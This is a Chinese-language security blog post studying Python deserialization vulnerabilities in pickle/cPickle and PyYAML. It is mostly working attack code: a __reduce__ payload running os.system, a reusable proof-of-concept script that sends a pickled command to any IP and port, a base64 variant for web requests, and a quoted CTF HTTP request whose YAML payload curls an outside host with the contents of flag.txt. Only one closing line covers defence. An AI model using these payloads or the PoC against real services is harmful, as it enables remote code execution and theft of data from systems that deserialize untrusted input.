
正文
python反序列化研究学习
提示:扫一扫查出行【扫一扫了解最新限行尾号】
复制提示
零、补充:
补充于2018-02-08,之前研究时候有一个疑惑,python的序列化成二进制,打web服务怎么传这个二进制对象呢,今天请教了身边大神(传说的九零后黑客代表),可以使用base64传输。
测试代码:
#client.py
import os
import sys
import base64
import socket
import cPickle #定义payload类型
class payload(object):
def __init__(self,command):
self.__command = command
def __reduce__(self):
return (os.system,((self.__command),)) #定义全局socket对象
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #定义主函数,生成payload对象
if __name__ == "__main__":
#cmd = sys.argv[1]
#rip = sys.argv[2]
#pot = sys.argv[3]
cmd = "whoami"
rip = "127.0.0.1"
pot = 5222
payload_object = payload(cmd)
send_object = cPickle.dumps(payload_object)
sock.connect((rip,int(pot)))
send_object = base64.b64encode(send_object)
sock.send(send_object) #server.py
# -*- coding:utf-8 -*-
import socket
import os
import cPickle
import base64 sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(("127.0.0.1",5222))
sock.listen(5)
con,addr = sock.accept()
ret = con.recv(1024)
ret = base64.b64decode(ret)
m = cPickle.loads(ret)
果然执行成功了,这样就解决了打击WEB服务的办法,base64字符串可以作为参数在request请求报文中传递了。
一、python的反序列化漏洞:
一个简单的小例子证明存在性:Python的反序列化漏洞,和java、php一样python的反序列化漏洞也非常严重!咱们举一个socket的远程远程简单的例子来尝试:
举例说明:
client传送一个类对象序列化过去给server,server反序列化这个类对象。
client.py
#serail.py
# -*- coding:utf-8 -*-
import os
import socket
import cPickle class Vuln(object):
name = 1
def __reduce__(self):
return (os.system,(('id'),)) sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("127.0.0.1",5222))
m = Vuln()
ret = cPickle.dumps(m)
sock.send(ret)
sock.close()
server.py
#server.py
# -*- coding:utf-8 -*-
import socket
import os
import cPickle sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(("127.0.0.1",5222))
sock.listen(5)
con,addr = sock.accept()
ret = con.recv(1024)
m = cPickle.loads(ret)
测试效果:
类似于cPickle和pickle的这种适合打一些TCP连接的:
这里写一个脚本作为一般poc
# -*- coding:utf-8 -*-
"""
这个脚本用来生成payload,并进行打击
作者:陈然
公司:360企业安全
"""
#引入依赖包文件
import os
import sys
import socket
import cPickle #定义payload类型
class payload(object):
def __init__(self,command):
self.__command = command
def __reduce__(self):
return (os.system,((self.__command),)) #定义全局socket对象
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #定义主函数,生成payload对象
if __name__ == "__main__":
cmd = sys.argv[1]
rip = sys.argv[2]
pot = sys.argv[3]
payload_object = payload(cmd)
send_object = cPickle.dumps(payload_object)
sock.connect((rip,int(pot)))
sock.send(send_object)
二、HTTP中的python反序列化漏洞--PyYAML
1、这里要注意,对站点相关开发有要求:
(1)使用PyYAML这个库
(2)使用了yaml.load函数而不是yaml.safe_load函数
2、好了,来看函数吧:
(1):
我们需要知道危险的yaml标签是这个:!!python/object/apply 这个tag是罪魁祸首!
(2)这个tag的解析在yaml库的constructor.py文件中:
然后我们来看对应的地方:就是这个函数construct_python_object_apply函数,关于类型的创建问题在这里:
跳转过去看下,这个地方有cls函数
而这里的cls函数取自find_python_name这个函数的返回值:
这个函数返回值是getattr的返回值
我们来做一个实验:
import os class A(object):
name = 1
def __reduce__(self):
os.system("whoami") a = A()
func = getattr(a,"__reduce__")
print "func:",func
func()
实验结果:
这就是getattr返回给了cls,cls函数执行到了!!python/object/apply标签中的代码被执行。
3、攻击场景:
这种场景有可能在HTTP协议中见到:
看一个某我不认识的大神博客中的一个例子https://www.anquanke.com/post/id/86800
'''
POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 438 -----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml ---
"goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"] -----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload" -----------------------------200783363553063815533894329-- </div> <div class="container main" >
<div>
<div class="col-md-12 main"> <ul><li><code>goodbye</code> : <code>0</code></li></ul> </div>
</div>
</div>
'''
很显然,payload就是这个部分:"goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"]
好了,关于Python的反序列化就笔记记录到这里。关于防御的话,只能说,对于Yaml的使用safe_load函数,对于pickle有大神考虑在pickle中下钩子,拦截住。但是目前对于cPickle还没有有效的防御办法。






